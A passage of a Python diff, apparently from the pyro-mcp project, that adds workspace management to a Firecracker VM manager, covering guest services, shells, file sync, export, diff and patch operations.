self._guest_exec_client.signal_shell( + guest_cid, + port, + shell_id=shell_id, + signal_name=signal_name, + uds_path=uds_path, + ) + payload["execution_mode"] = instance.metadata.get("execution_mode", "pending") + return payload + + def close_shell( + self, + instance: VmInstance, + *, + workspace_id: str, + shell_id: str, + ) -> dict[str, Any]: + del workspace_id + guest_cid = int(instance.metadata["guest_cid"]) + port = int(instance.metadata["guest_exec_port"]) + uds_path = instance.metadata.get("guest_exec_uds_path") + payload = self._guest_exec_client.close_shell( + guest_cid, + port, + shell_id=shell_id, + uds_path=uds_path, + ) + payload["execution_mode"] = instance.metadata.get("execution_mode", "pending") + return payload + + def start_service( + self, + instance: VmInstance, + *, + workspace_id: str, + service_name: str, + command: str, + cwd: str, + readiness: dict[str, Any] | None, + ready_timeout_seconds: int, + ready_interval_ms: int, + env: dict[str, str] | None = None, + ) -> dict[str, Any]: + if self._runtime_capabilities.supports_guest_exec: + guest_cid = int(instance.metadata["guest_cid"]) + port = int(instance.metadata["guest_exec_port"]) + uds_path = instance.metadata.get("guest_exec_uds_path") + payload = self._guest_exec_client.start_service( + guest_cid, + port, + service_name=service_name, + command=command, + cwd=cwd, + readiness=readiness, + ready_timeout_seconds=ready_timeout_seconds, + ready_interval_ms=ready_interval_ms, + env=env, + uds_path=uds_path, + ) + payload["execution_mode"] = instance.metadata.get("execution_mode", "pending") + return payload + if not instance.allow_host_compat: + raise RuntimeError("services require guest execution or explicit host compatibility") + service = _start_local_service( + services_dir=instance.workdir.parent / WORKSPACE_SERVICES_DIRNAME, + workspace_dir=_instance_workspace_host_dir(instance), + workspace_id=workspace_id, + service_name=service_name, + command=command, + cwd_text=cwd, + readiness=readiness, + ready_timeout_seconds=ready_timeout_seconds, + ready_interval_ms=ready_interval_ms, + env_overrides=env, + ) + return service.to_payload() + + def status_service( + self, + instance: VmInstance, + *, + workspace_id: str, + service_name: str, + ) -> dict[str, Any]: + if self._runtime_capabilities.supports_guest_exec: + guest_cid = int(instance.metadata["guest_cid"]) + port = int(instance.metadata["guest_exec_port"]) + uds_path = instance.metadata.get("guest_exec_uds_path") + payload = self._guest_exec_client.status_service( + guest_cid, + port, + service_name=service_name, + uds_path=uds_path, + ) + payload["execution_mode"] = instance.metadata.get("execution_mode", "pending") + return payload + if not instance.allow_host_compat: + raise RuntimeError("services require guest execution or explicit host compatibility") + services_dir = instance.workdir.parent / WORKSPACE_SERVICES_DIRNAME + record_path = services_dir / f"{service_name}.json" + if not record_path.exists(): + raise ValueError( + f"service {service_name!r} does not exist in workspace {workspace_id!r}" + ) + payload = json.loads(record_path.read_text(encoding="utf-8")) + if not isinstance(payload, dict): + raise RuntimeError(f"service record at {record_path} is invalid") + service = WorkspaceServiceRecord.from_payload(payload) + refreshed = _refresh_local_service_record(service, services_dir=services_dir) + return refreshed.to_payload() + + def logs_service( + self, + instance: VmInstance, + *, + workspace_id: str, + service_name: str, + tail_lines: int | None, + ) -> dict[str, Any]: + if self._runtime_capabilities.supports_guest_exec: + guest_cid = int(instance.metadata["guest_cid"]) + port = int(instance.metadata["guest_exec_port"]) + uds_path = instance.metadata.get("guest_exec_uds_path") + payload = self._guest_exec_client.logs_service( + guest_cid, + port, + service_name=service_name, + tail_lines=tail_lines, + uds_path=uds_path, + ) + payload["execution_mode"] = instance.metadata.get("execution_mode", "pending") + return payload + if not instance.allow_host_compat: + raise RuntimeError("services require guest execution or explicit host compatibility") + services_dir = instance.workdir.parent / WORKSPACE_SERVICES_DIRNAME + record_path = services_dir / f"{service_name}.json" + if not record_path.exists(): + raise ValueError( + f"service {service_name!r} does not exist in workspace {workspace_id!r}" + ) + payload = json.loads(record_path.read_text(encoding="utf-8")) + if not isinstance(payload, dict): + raise RuntimeError(f"service record at {record_path} is invalid") + service = _refresh_local_service_record( + WorkspaceServiceRecord.from_payload(payload), + services_dir=services_dir, + ) + response = service.to_payload() + stdout, stdout_truncated = _tail_text( + _workspace_service_stdout_path(services_dir, service_name), + tail_lines=tail_lines, + ) + stderr, stderr_truncated = _tail_text( + _workspace_service_stderr_path(services_dir, service_name), + tail_lines=tail_lines, + ) + response.update( + { + "stdout": stdout, + "stderr": stderr, + "tail_lines": tail_lines, + "truncated": stdout_truncated or stderr_truncated, + } + ) + return response + + def stop_service( + self, + instance: VmInstance, + *, + workspace_id: str, + service_name: str, + ) -> dict[str, Any]: + if self._runtime_capabilities.supports_guest_exec: + guest_cid = int(instance.metadata["guest_cid"]) + port = int(instance.metadata["guest_exec_port"]) + uds_path = instance.metadata.get("guest_exec_uds_path") + payload = self._guest_exec_client.stop_service( + guest_cid, + port, + service_name=service_name, + uds_path=uds_path, + ) + payload["execution_mode"] = instance.metadata.get("execution_mode", "pending") + return payload + if not instance.allow_host_compat: + raise RuntimeError("services require guest execution or explicit host compatibility") + services_dir = instance.workdir.parent / WORKSPACE_SERVICES_DIRNAME + record_path = services_dir / f"{service_name}.json" + if not record_path.exists(): + raise ValueError( + f"service {service_name!r} does not exist in workspace {workspace_id!r}" + ) + payload = json.loads(record_path.read_text(encoding="utf-8")) + if not isinstance(payload, dict): + raise RuntimeError(f"service record at {record_path} is invalid") + service = WorkspaceServiceRecord.from_payload(payload) + stopped = _stop_local_service(service, services_dir=services_dir) + return stopped.to_payload() + class VmManager: - """In-process lifecycle manager for ephemeral VM environments.""" + """In-process lifecycle manager for ephemeral VM environments and workspaces.""" MIN_VCPUS = 1 MAX_VCPUS = 8 @@ -342,6 +3548,11 @@ class VmManager: MAX_MEM_MIB = 32768 MIN_TTL_SECONDS = 60 MAX_TTL_SECONDS = 3600 + DEFAULT_VCPU_COUNT = DEFAULT_VCPU_COUNT + DEFAULT_MEM_MIB = DEFAULT_MEM_MIB + DEFAULT_TIMEOUT_SECONDS = DEFAULT_TIMEOUT_SECONDS + DEFAULT_TTL_SECONDS = DEFAULT_TTL_SECONDS + DEFAULT_ALLOW_HOST_COMPAT = DEFAULT_ALLOW_HOST_COMPAT def __init__( self, @@ -355,7 +3566,8 @@ class VmManager: ) -> None: self._backend_name = backend_name or "firecracker" self._base_dir = base_dir or Path("/tmp/pyro-mcp") - resolved_cache_dir = cache_dir or self._base_dir / ".environment-cache" + self._workspaces_dir = self._base_dir / "workspaces" + resolved_cache_dir = cache_dir or default_cache_dir() self._runtime_paths = runtime_paths if self._backend_name == "firecracker": self._runtime_paths = self._runtime_paths or resolve_runtime_paths() @@ -387,6 +3599,7 @@ class VmManager: self._lock = threading.Lock() self._instances: dict[str, VmInstance] = {} self._base_dir.mkdir(parents=True, exist_ok=True) + self._workspaces_dir.mkdir(parents=True, exist_ok=True) self._backend = self._build_backend() def _build_backend(self) -> VmBackend: @@ -416,21 +3629,169 @@ class VmManager: def prune_environments(self) -> dict[str, object]: return self._environment_store.prune_environments() + def prepare_daily_loop( + self, + environment: str, + *, + network: bool = False, + force: bool = False, + ) -> dict[str, Any]: + spec = get_environment(environment, runtime_paths=self._runtime_paths) + if self._backend_name != "firecracker": + raise RuntimeError("pyro prepare requires a guest-backed runtime and is unavailable") + if not self._runtime_capabilities.supports_vm_boot: + reason = self._runtime_capabilities.reason or "runtime does not support guest boot" + raise RuntimeError( + f"pyro prepare requires guest-backed workspace boot and is unavailable: {reason}" + ) + if not self._runtime_capabilities.supports_guest_exec: + reason = self._runtime_capabilities.reason or ( + "runtime does not support guest command execution" + ) + raise RuntimeError( + f"pyro prepare requires guest command execution and is unavailable: {reason}" + ) + if network and not self._runtime_capabilities.supports_guest_network: + reason = self._runtime_capabilities.reason or ( + "runtime does not support guest networking" + ) + raise RuntimeError( + f"pyro prepare --network requires guest networking and is unavailable: {reason}" + ) + + runtime_paths = self._runtime_paths + if runtime_paths is None: + raise RuntimeError("runtime paths are unavailable for pyro prepare") + platform = str(runtime_paths.manifest.get("platform", "linux-x86_64")) + bundle_version = cast(str | None, runtime_paths.manifest.get("bundle_version")) + manifest_path = prepare_manifest_path( + self._environment_store.cache_dir, + platform=platform, + environment=environment, + ) + manifest, manifest_error = load_prepare_manifest(manifest_path) + status, status_reason = evaluate_daily_loop_status( + environment=environment, + environment_version=spec.version, + platform=platform, + catalog_version=self._environment_store.catalog_version, + bundle_version=bundle_version, + installed=bool(self.inspect_environment(environment)["installed"]), + manifest=manifest, + manifest_error=manifest_error, + ) + if ( + not force + and status == "warm" + and prepare_request_is_satisfied(manifest, require_network=network) + ): + if manifest is None: + raise AssertionError("warm prepare state requires a manifest") + payload = serialize_daily_loop_report( + environment=environment, + status="warm", + installed=True, + cache_dir=self._environment_store.cache_dir, + manifest_path=manifest_path, + reason="reused existing warm manifest", + manifest=manifest, + ) + payload.update( + { + "prepared": True, + "reused": True, + "executed": False, + "forced": force, + "network_requested": network, + "last_prepare_duration_ms": manifest.last_prepare_duration_ms, + } + ) + return payload + + self._environment_store.ensure_installed(environment) + started = time.monotonic() + workspace_id: str | None = None + execution_mode = "pending" + try: + created = self.create_workspace( + environment=environment, + network_policy="egress" if network else "off", + allow_host_compat=False, + ) + workspace_id = str(created["workspace_id"]) + exec_result = self.exec_workspace( + workspace_id, + command="pwd", + timeout_seconds=DEFAULT_TIMEOUT_SECONDS, + ) + execution_mode = str(exec_result.get("execution_mode", "unknown")) + if int(exec_result.get("exit_code", 1)) != 0: + raise RuntimeError("prepare guest exec failed") + if str(exec_result.get("stdout", "")) != f"{WORKSPACE_GUEST_PATH}\n": + raise RuntimeError("prepare guest exec returned an unexpected working directory") + self.reset_workspace(workspace_id) + finally: + if workspace_id is not None: + try: + self.delete_workspace(workspace_id, reason="prepare_cleanup") + except Exception: + pass + + duration_ms = int((time.monotonic() - started) * 1000) + prepared_at = time.time() + preserved_network_prepared = bool( + manifest is not None and status == "warm" and manifest.network_prepared + ) + prepared_manifest = DailyLoopManifest( + environment=environment, + environment_version=spec.version, + platform=platform, + catalog_version=self._environment_store.catalog_version, + bundle_version=bundle_version, + prepared_at=prepared_at, + network_prepared=network or preserved_network_prepared, + last_prepare_duration_ms=duration_ms, + ) + write_prepare_manifest(manifest_path, prepared_manifest) + payload = serialize_daily_loop_report( + environment=environment, + status="warm", + installed=True, + cache_dir=self._environment_store.cache_dir, + manifest_path=manifest_path, + reason=status_reason, + manifest=prepared_manifest, + ) + payload.update( + { + "prepared": True, + "reused": False, + "executed": True, + "forced": force, + "network_requested": network, + "last_prepare_duration_ms": duration_ms, + "execution_mode": execution_mode, + } + ) + return payload + def create_vm( self, *, environment: str, - vcpu_count: int, - mem_mib: int, - ttl_seconds: int, + vcpu_count: int = DEFAULT_VCPU_COUNT, + mem_mib: int = DEFAULT_MEM_MIB, + ttl_seconds: int = DEFAULT_TTL_SECONDS, network: bool = False, + allow_host_compat: bool = DEFAULT_ALLOW_HOST_COMPAT, ) -> dict[str, Any]: self._validate_limits(vcpu_count=vcpu_count, mem_mib=mem_mib, ttl_seconds=ttl_seconds) get_environment(environment, runtime_paths=self._runtime_paths) now = time.time() with self._lock: self._reap_expired_locked(now) - active_count = len(self._instances) + self._reap_expired_workspaces_locked(now) + active_count = len(self._instances) + self._count_workspaces_locked() if active_count >= self._max_active_vms: raise RuntimeError( f"max active VMs reached ({self._max_active_vms}); delete old VMs first" @@ -446,7 +3807,9 @@ class VmManager: expires_at=now + ttl_seconds, workdir=self._base_dir / vm_id, network_requested=network, + allow_host_compat=allow_host_compat, ) + instance.metadata["allow_host_compat"] = str(allow_host_compat).lower() self._backend.create(instance) self._instances[vm_id] = instance return self._serialize(instance) @@ -456,11 +3819,12 @@ class VmManager: *, environment: str, command: str, - vcpu_count: int, - mem_mib: int, - timeout_seconds: int = 30, - ttl_seconds: int = 600, + vcpu_count: int = DEFAULT_VCPU_COUNT, + mem_mib: int = DEFAULT_MEM_MIB, + timeout_seconds: int = DEFAULT_TIMEOUT_SECONDS, + ttl_seconds: int = DEFAULT_TTL_SECONDS, network: bool = False, + allow_host_compat: bool = DEFAULT_ALLOW_HOST_COMPAT, ) -> dict[str, Any]: created = self.create_vm( environment=environment, @@ -468,6 +3832,7 @@ class VmManager: mem_mib=mem_mib, ttl_seconds=ttl_seconds, network=network, + allow_host_compat=allow_host_compat, ) vm_id = str(created["vm_id"]) try: @@ -484,27 +3849,24 @@ class VmManager: with self._lock: instance = self._get_instance_locked(vm_id) self._ensure_not_expired_locked(instance, time.time()) - if instance.state not in {"created", "stopped"}: - raise RuntimeError(f"vm {vm_id} cannot be started from state {instance.state!r}") - self._backend.start(instance) - instance.state = "started" + self._start_instance_locked(instance) return self._serialize(instance) def exec_vm(self, vm_id: str, *, command: str, timeout_seconds: int) -> dict[str, Any]: - if timeout_seconds <= 0: - raise ValueError("timeout_seconds must be positive") with self._lock: instance = self._get_instance_locked(vm_id) self._ensure_not_expired_locked(instance, time.time()) - if instance.state != "started": - raise RuntimeError(f"vm {vm_id} must be in 'started' state before vm_exec") - exec_result = self._backend.exec(instance, command, timeout_seconds) - execution_mode = instance.metadata.get("execution_mode", "host_compat") + exec_instance = instance + exec_result, execution_mode = self._exec_instance( + exec_instance, + command=command, + timeout_seconds=timeout_seconds, + ) cleanup = self.delete_vm(vm_id, reason="post_exec_cleanup") return { "vm_id": vm_id, - "environment": instance.environment, - "environment_version": instance.metadata.get("environment_version"), + "environment": exec_instance.environment, + "environment_version": exec_instance.metadata.get("environment_version"), "command": command, "stdout": exec_result.stdout, "stderr": exec_result.stderr, @@ -565,6 +3927,1843 @@ class VmManager: del self._instances[vm_id] return {"deleted_vm_ids": expired_vm_ids, "count": len(expired_vm_ids)} + def create_workspace( + self, + *, + environment: str, + vcpu_count: int = DEFAULT_VCPU_COUNT, + mem_mib: int = DEFAULT_MEM_MIB, + ttl_seconds: int = DEFAULT_TTL_SECONDS, + network_policy: WorkspaceNetworkPolicy | str = DEFAULT_WORKSPACE_NETWORK_POLICY, + allow_host_compat: bool = DEFAULT_ALLOW_HOST_COMPAT, + seed_path: str | Path | None = None, + secrets: list[dict[str, str]] | None = None, + name: str | None = None, + labels: dict[str, str] | None = None, + _prepared_seed: PreparedWorkspaceSeed | None = None, + ) -> dict[str, Any]: + self._validate_limits(vcpu_count=vcpu_count, mem_mib=mem_mib, ttl_seconds=ttl_seconds) + get_environment(environment, runtime_paths=self._runtime_paths) + normalized_network_policy = _normalize_workspace_network_policy(str(network_policy)) + normalized_name = None if name is None else _normalize_workspace_name(name) + normalized_labels = _normalize_workspace_labels(labels) + if _prepared_seed is not None and seed_path is not None: + raise ValueError("_prepared_seed and seed_path are mutually exclusive") + prepared_seed = _prepared_seed or self._prepare_workspace_seed(seed_path) + now = time.time() + workspace_id = uuid.uuid4().hex[:12] + workspace_dir = self._workspace_dir(workspace_id) + runtime_dir = self._workspace_runtime_dir(workspace_id) + host_workspace_dir = self._workspace_host_dir(workspace_id) + commands_dir = self._workspace_commands_dir(workspace_id) + review_dir = self._workspace_review_dir(workspace_id) + shells_dir = self._workspace_shells_dir(workspace_id) + services_dir = self._workspace_services_dir(workspace_id) + secrets_dir = self._workspace_secrets_dir(workspace_id) + snapshots_dir = self._workspace_snapshots_dir(workspace_id) + baseline_archive_path = self._workspace_baseline_archive_path(workspace_id) + workspace_dir.mkdir(parents=True, exist_ok=False) + host_workspace_dir.mkdir(parents=True, exist_ok=True) + commands_dir.mkdir(parents=True, exist_ok=True) + review_dir.mkdir(parents=True, exist_ok=True) + shells_dir.mkdir(parents=True, exist_ok=True) + services_dir.mkdir(parents=True, exist_ok=True) + secrets_dir.mkdir(parents=True, exist_ok=True) + snapshots_dir.mkdir(parents=True, exist_ok=True) + secret_records, _ = _prepare_workspace_secrets(secrets, secrets_dir=secrets_dir) + _persist_workspace_baseline( + prepared_seed, + baseline_archive_path=baseline_archive_path, + ) + instance = VmInstance( + vm_id=workspace_id, + environment=environment, + vcpu_count=vcpu_count, + mem_mib=mem_mib, + ttl_seconds=ttl_seconds, + created_at=now, + expires_at=now + ttl_seconds, + workdir=runtime_dir, + network_requested=normalized_network_policy != "off", + allow_host_compat=allow_host_compat, + ) + instance.metadata["allow_host_compat"] = str(allow_host_compat).lower() + instance.metadata["workspace_path"] = WORKSPACE_GUEST_PATH + instance.metadata["workspace_host_dir"] = str(host_workspace_dir) + instance.metadata["network_policy"] = normalized_network_policy + try: + with self._lock: + self._reap_expired_locked(now) + self._reap_expired_workspaces_locked(now) + active_count = len(self._instances) + self._count_workspaces_locked() + if active_count >= self._max_active_vms: + raise RuntimeError( + f"max active VMs reached ({self._max_active_vms}); delete old VMs first" + ) + self._require_workspace_network_policy_support(network_policy=normalized_network_policy) + self._backend.create(instance) + if self._runtime_capabilities.supports_guest_exec: + self._ensure_workspace_guest_bootstrap_support(instance) + with self._lock: + self._start_instance_locked(instance) + workspace = WorkspaceRecord.from_instance( + instance, + network_policy=normalized_network_policy, + workspace_seed=prepared_seed.to_payload(), + secrets=secret_records, + name=normalized_name, + labels=normalized_labels, + ) + if workspace.secrets: + self._install_workspace_secrets_locked(workspace, instance) + self._require_guest_exec_or_opt_in(instance) + import_summary = self._backend.import_archive( + instance, + archive_path=baseline_archive_path, + destination=WORKSPACE_GUEST_PATH, + ) + workspace_seed = dict(workspace.workspace_seed) + workspace_seed["entry_count"] = int(import_summary["entry_count"]) + workspace_seed["bytes_written"] = int(import_summary["bytes_written"]) + workspace_seed["destination"] = str(import_summary["destination"]) + workspace.workspace_seed = workspace_seed + self._save_workspace_locked(workspace) + return self._serialize_workspace(workspace) + except Exception: + if runtime_dir.exists(): + try: + if instance.state == "started": + self._backend.stop(instance) + instance.state = "stopped" + except Exception: + pass + try: + self._backend.delete(instance) + except Exception: + pass + shutil.rmtree(workspace_dir, ignore_errors=True) + raise + finally: + prepared_seed.cleanup() + + def push_workspace_sync( + self, + workspace_id: str, + *, + source_path: str | Path, + dest: str = WORKSPACE_GUEST_PATH, + ) -> dict[str, Any]: + prepared_seed = self._prepare_workspace_seed(source_path) + if prepared_seed.archive_path is None: + prepared_seed.cleanup() + raise ValueError("source_path is required") + normalized_destination, _ = _normalize_workspace_destination(dest) + with self._lock: + workspace = self._load_workspace_locked(workspace_id) + self._ensure_workspace_not_expired_locked(workspace, time.time()) + self._refresh_workspace_liveness_locked(workspace) + if workspace.state != "started": + raise RuntimeError( + f"workspace {workspace_id} must be in 'started' state " + "before workspace_sync_push" + ) + instance = workspace.to_instance( + workdir=self._workspace_runtime_dir(workspace.workspace_id) + ) + try: + import_summary = self._backend.import_archive( + instance, + archive_path=prepared_seed.archive_path, + destination=normalized_destination, + ) + finally: + prepared_seed.cleanup() + workspace_sync = prepared_seed.to_payload( + destination=normalized_destination, + path_key="source_path", + include_origin=False, + ) + workspace_sync["entry_count"] = int(import_summary["entry_count"]) + workspace_sync["bytes_written"] = int(import_summary["bytes_written"]) + workspace_sync["destination"] = str(import_summary["destination"]) + with self._lock: + workspace = self._load_workspace_locked(workspace_id) + workspace.state = instance.state + workspace.firecracker_pid = instance.firecracker_pid + workspace.last_error = instance.last_error + workspace.metadata = dict(instance.metadata) + self._touch_workspace_activity_locked(workspace) + self._record_workspace_review_event_locked( + workspace_id, + event_kind="sync_push", + payload={ + "mode": str(workspace_sync["mode"]), + "source_path": str(workspace_sync["source_path"]), + "destination": str(workspace_sync["destination"]), + "entry_count": int(workspace_sync["entry_count"]), + "bytes_written": int(workspace_sync["bytes_written"]), + "execution_mode": str(instance.metadata.get("execution_mode", "pending")), + }, + ) + self._save_workspace_locked(workspace) + return { + "workspace_id": workspace_id, + "execution_mode": instance.metadata.get("execution_mode", "pending"), + "workspace_sync": workspace_sync, + } + + def list_workspaces(self) -> dict[str, Any]: + with self._lock: + now = time.time() + self._reap_expired_workspaces_locked(now) + workspaces: list[WorkspaceRecord] = [] + for metadata_path in self._workspaces_dir.glob("*/workspace.json"): + payload = json.loads(metadata_path.read_text(encoding="utf-8")) + if not isinstance(payload, dict): + continue + workspace = WorkspaceRecord.from_payload(payload) + self._refresh_workspace_liveness_locked(workspace) + self._refresh_workspace_service_counts_locked(workspace) + self._save_workspace_locked(workspace) + workspaces.append(workspace) + workspaces.sort( + key=lambda item: ( + -item.last_activity_at, + -item.created_at, + item.workspace_id, + ) + ) + return { + "count": len(workspaces), + "workspaces": [ + self._serialize_workspace_list_item(workspace) for workspace in workspaces + ], + } + + def update_workspace( + self, + workspace_id: str, + *, + name: str | None = None, + clear_name: bool = False, + labels: dict[str, str] | None = None, + clear_labels: list[str] | None = None, + ) -> dict[str, Any]: + if name is not None and clear_name: + raise ValueError("name and clear_name cannot be used together") + normalized_name = None if name is None else _normalize_workspace_name(name) + normalized_labels = None if labels is None else _normalize_workspace_labels(labels) + normalized_clear_labels = [ + _normalize_workspace_label_key(label_key) for label_key in (clear_labels or []) + ] + with self._lock: + workspace = self._load_workspace_locked(workspace_id) + self._ensure_workspace_not_expired_locked(workspace, time.time()) + updated = False + if clear_name: + if workspace.name is not None: + workspace.name = None + updated = True + elif normalized_name is not None and workspace.name != normalized_name: + workspace.name = normalized_name + updated = True + if normalized_labels is not None: + for label_key, label_value in normalized_labels.items(): + if workspace.labels.get(label_key) != label_value: + workspace.labels[label_key] = label_value + updated = True + for label_key in normalized_clear_labels: + if label_key in workspace.labels: + del workspace.labels[label_key] + updated = True + workspace.labels = dict(sorted(workspace.labels.items())) + if not updated: + raise ValueError("workspace update requested no effective metadata change") + self._touch_workspace_activity_locked(workspace) + self._save_workspace_locked(workspace) + return self._serialize_workspace(workspace) + + def export_workspace( + self, + workspace_id: str, + path: str, + *, + output_path: str | Path, + ) -> dict[str, Any]: + normalized_path, _ = _normalize_workspace_destination(path) + raw_output_path = str(output_path).strip() + if raw_output_path == "": + raise ValueError("output_path must not be empty") + resolved_output_path = Path(output_path).expanduser().resolve() + with self._lock: + workspace = self._load_workspace_locked(workspace_id) + instance = self._workspace_instance_for_live_operation_locked( + workspace, + operation_name="workspace_export", + ) + with tempfile.TemporaryDirectory(prefix="pyro-workspace-export-") as temp_dir: + archive_path = Path(temp_dir) / "workspace-export.tar" + exported = self._backend.export_archive( + instance, + workspace_path=normalized_path, + archive_path=archive_path, + ) + extracted = _extract_workspace_export_archive( + archive_path, + output_path=resolved_output_path, + artifact_type=cast(WorkspaceArtifactType, str(exported["artifact_type"])), + ) + with self._lock: + workspace = self._load_workspace_locked(workspace_id) + workspace.state = instance.state + workspace.firecracker_pid = instance.firecracker_pid + workspace.last_error = instance.last_error + workspace.metadata = dict(instance.metadata) + self._record_workspace_review_event_locked( + workspace_id, + event_kind="workspace_export", + payload={ + "workspace_path": normalized_path, + "output_path": str(Path(str(extracted["output_path"]))), + "artifact_type": str(extracted["artifact_type"]), + "entry_count": int(extracted["entry_count"]), + "bytes_written": int(extracted["bytes_written"]), + "execution_mode": str( + exported.get( + "execution_mode", + instance.metadata.get("execution_mode", "pending"), + ) + ), + }, + ) + self._save_workspace_locked(workspace) + return { + "workspace_id": workspace_id, + "workspace_path": normalized_path, + "output_path": str(Path(str(extracted["output_path"]))), + "artifact_type": extracted["artifact_type"], + "entry_count": int(extracted["entry_count"]), + "bytes_written": int(extracted["bytes_written"]), + "execution_mode": str( + exported.get("execution_mode", instance.metadata.get("execution_mode", "pending")) + ), + } + + def diff_workspace(self, workspace_id: str) -> dict[str, Any]: + with self._lock: + workspace = self._load_workspace_locked(workspace_id) + instance = self._workspace_instance_for_live_operation_locked( + workspace, + operation_name="workspace_diff", + ) + baseline_archive_path = self._workspace_baseline_archive_path(workspace_id) + if not baseline_archive_path.exists(): + raise RuntimeError( + "workspace diff requires a baseline snapshot. Recreate the workspace to use diff." + ) + with tempfile.TemporaryDirectory(prefix="pyro-workspace-diff-") as temp_dir: + temp_root = Path(temp_dir) + current_archive_path = temp_root / "current.tar" + baseline_root = temp_root / "baseline" + current_root = temp_root / "current" + self._backend.export_archive( + instance, + workspace_path=WORKSPACE_GUEST_PATH, + archive_path=current_archive_path, + ) + _extract_seed_archive_to_host_workspace( + baseline_archive_path, + workspace_dir=baseline_root, + destination=WORKSPACE_GUEST_PATH, + ) + _extract_seed_archive_to_host_workspace( + current_archive_path, + workspace_dir=current_root, + destination=WORKSPACE_GUEST_PATH, + ) + diff_payload = _diff_workspace_trees(baseline_root, current_root) + with self._lock: + workspace = self._load_workspace_locked(workspace_id) + workspace.state = instance.state + workspace.firecracker_pid = instance.firecracker_pid + workspace.last_error = instance.last_error + workspace.metadata = dict(instance.metadata) + self._save_workspace_locked(workspace) + diff_payload["workspace_id"] = workspace_id + return diff_payload + + def list_workspace_files( + self, + workspace_id: str, + *, + path: str = WORKSPACE_GUEST_PATH, + recursive: bool = False, + ) -> dict[str, Any]: + normalized_path = _normalize_workspace_file_path(path) + with self._lock: + workspace = self._load_workspace_locked(workspace_id) + instance = self._workspace_instance_for_live_operation_locked( + workspace, + operation_name="workspace_file_list", + ) + listing = self._backend.list_workspace_entries( + instance, + workspace_path=normalized_path, + recursive=recursive, + ) + with self._lock: + workspace = self._load_workspace_locked(workspace_id) + workspace.state = instance.state + workspace.firecracker_pid = instance.firecracker_pid + workspace.last_error = instance.last_error + workspace.metadata = dict(instance.metadata) + self._save_workspace_locked(workspace) + return { + "workspace_id": workspace_id, + "path": str(listing["path"]), + "recursive": recursive, + "entries": cast(list[dict[str, Any]], list(listing.get("entries", []))), + "execution_mode": str( + listing.get("execution_mode", instance.metadata.get("execution_mode", "pending")) + ), + } + + def read_workspace_file( + self, + workspace_id: str, + path: str, + *, + max_bytes: int = DEFAULT_WORKSPACE_FILE_READ_MAX_BYTES, + ) -> dict[str, Any]: + normalized_path = _normalize_workspace_file_path(path) + normalized_max_bytes = _validate_workspace_file_read_max_bytes(max_bytes) + with self._lock: + workspace = self._load_workspace_locked(workspace_id) + instance = self._workspace_instance_for_live_operation_locked( + workspace, + operation_name="workspace_file_read", + ) + payload = self._backend.read_workspace_file( + instance, + workspace_path=normalized_path, + max_bytes=WORKSPACE_FILE_MAX_BYTES, + ) + raw_bytes = cast(bytes, payload["content_bytes"]) + content = raw_bytes[:normalized_max_bytes].decode("utf-8", errors="replace") + with self._lock: + workspace = self._load_workspace_locked(workspace_id) + workspace.state = instance.state + workspace.firecracker_pid = instance.firecracker_pid + workspace.last_error = instance.last_error + workspace.metadata = dict(instance.metadata) + self._save_workspace_locked(workspace) + return { + "workspace_id": workspace_id, + "path": str(payload["path"]), + "size_bytes": int(payload["size_bytes"]), + "max_bytes": normalized_max_bytes, + "content": content, + "truncated": len(raw_bytes) > normalized_max_bytes, + "execution_mode": str( + payload.get("execution_mode", instance.metadata.get("execution_mode", "pending")) + ), + } + + def write_workspace_file( + self, + workspace_id: str, + path: str, + *, + text: str, + ) -> dict[str, Any]: + normalized_path = _normalize_workspace_file_path(path) + normalized_text = _validate_workspace_text_payload(text, field_name="text") + with self._lock: + workspace = self._load_workspace_locked(workspace_id) + instance = self._workspace_instance_for_live_operation_locked( + workspace, + operation_name="workspace_file_write", + ) + payload = self._backend.write_workspace_file( + instance, + workspace_path=normalized_path, + text=normalized_text, + ) + with self._lock: + workspace = self._load_workspace_locked(workspace_id) + workspace.state = instance.state + workspace.firecracker_pid = instance.firecracker_pid + workspace.last_error = instance.last_error + workspace.metadata = dict(instance.metadata) + self._touch_workspace_activity_locked(workspace) + self._record_workspace_review_event_locked( + workspace_id, + event_kind="file_write", + payload={ + "path": str(payload["path"]), + "size_bytes": int(payload["size_bytes"]), + "bytes_written": int(payload["bytes_written"]), + "execution_mode": str( + payload.get( + "execution_mode", + instance.metadata.get("execution_mode", "pending"), + ) + ), + }, + ) + self._save_workspace_locked(workspace) + return { + "workspace_id": workspace_id, + "path": str(payload["path"]), + "size_bytes": int(payload["size_bytes"]), + "bytes_written": int(payload["bytes_written"]), + "execution_mode": str( + payload.get("execution_mode", instance.metadata.get("execution_mode", "pending")) + ), + } + + def apply_workspace_patch( + self, + workspace_id: str, + *, + patch: str, + ) -> dict[str, Any]: + patch_text = _validate_workspace_patch_text(patch) + parsed_patches = parse_unified_text_patch(patch_text) + patch_by_path: dict[str, WorkspaceTextPatch] = {} + for text_patch in parsed_patches: + if text_patch.path in patch_by_path: + raise ValueError(f"patch contains duplicate file entries for {text_patch.path}") + patch_by_path[text_patch.path] = text_patch + + with self._lock: + workspace = self._load_workspace_locked(workspace_id) + instance = self._workspace_instance_for_live_operation_locked( + workspace, + operation_name="workspace_patch_apply", + ) + + planned_writes: dict[str, str] = {} + planned_deletes: list[str] = [] + summary = { + "total": 0, + "added": 0, + "modified": 0, + "deleted": 0, + } + entries: list[dict[str, str]] = [] + + for path_text in sorted(patch_by_path): + file_patch = patch_by_path[path_text] + listing: dict[str, Any] | None = None + current_text: str | None = None + exists = True + try: + listing = self._backend.list_workspace_entries( + instance, + workspace_path=file_patch.path, + recursive=False, + ) + except RuntimeError as exc: + if "does not exist" in str(exc): + exists = False + else: + raise + if exists: + if listing is None: + raise RuntimeError( + f"workspace patch could not inspect current path: {file_patch.path}" + ) + artifact_type = str(listing["artifact_type"]) + if artifact_type != "file": + raise RuntimeError( + f"workspace patch only supports regular files: {file_patch.path}" + ) + current_payload = self._backend.read_workspace_file( + instance, + workspace_path=file_patch.path, + max_bytes=WORKSPACE_FILE_MAX_BYTES, + ) + current_text = _decode_workspace_patch_text( + file_patch.path, + cast(bytes, current_payload["content_bytes"]), + ) + if file_patch.status == "added" and exists: + raise RuntimeError( + f"workspace patch cannot add an existing path: {file_patch.path}" + ) + if file_patch.status in {"modified", "deleted"} and not exists: + raise RuntimeError( + f"workspace patch cannot modify a missing path: {file_patch.path}" + ) + after_text = apply_unified_text_patch( + path=file_patch.path, + patch=file_patch, + before_text=current_text, + ) + if after_text is None: + planned_deletes.append(file_patch.path) + else: + planned_writes[file_patch.path] = after_text + summary["total"] += 1 + summary[file_patch.status] += 1 + entries.append({"path": file_patch.path, "status": file_patch.status}) + + for 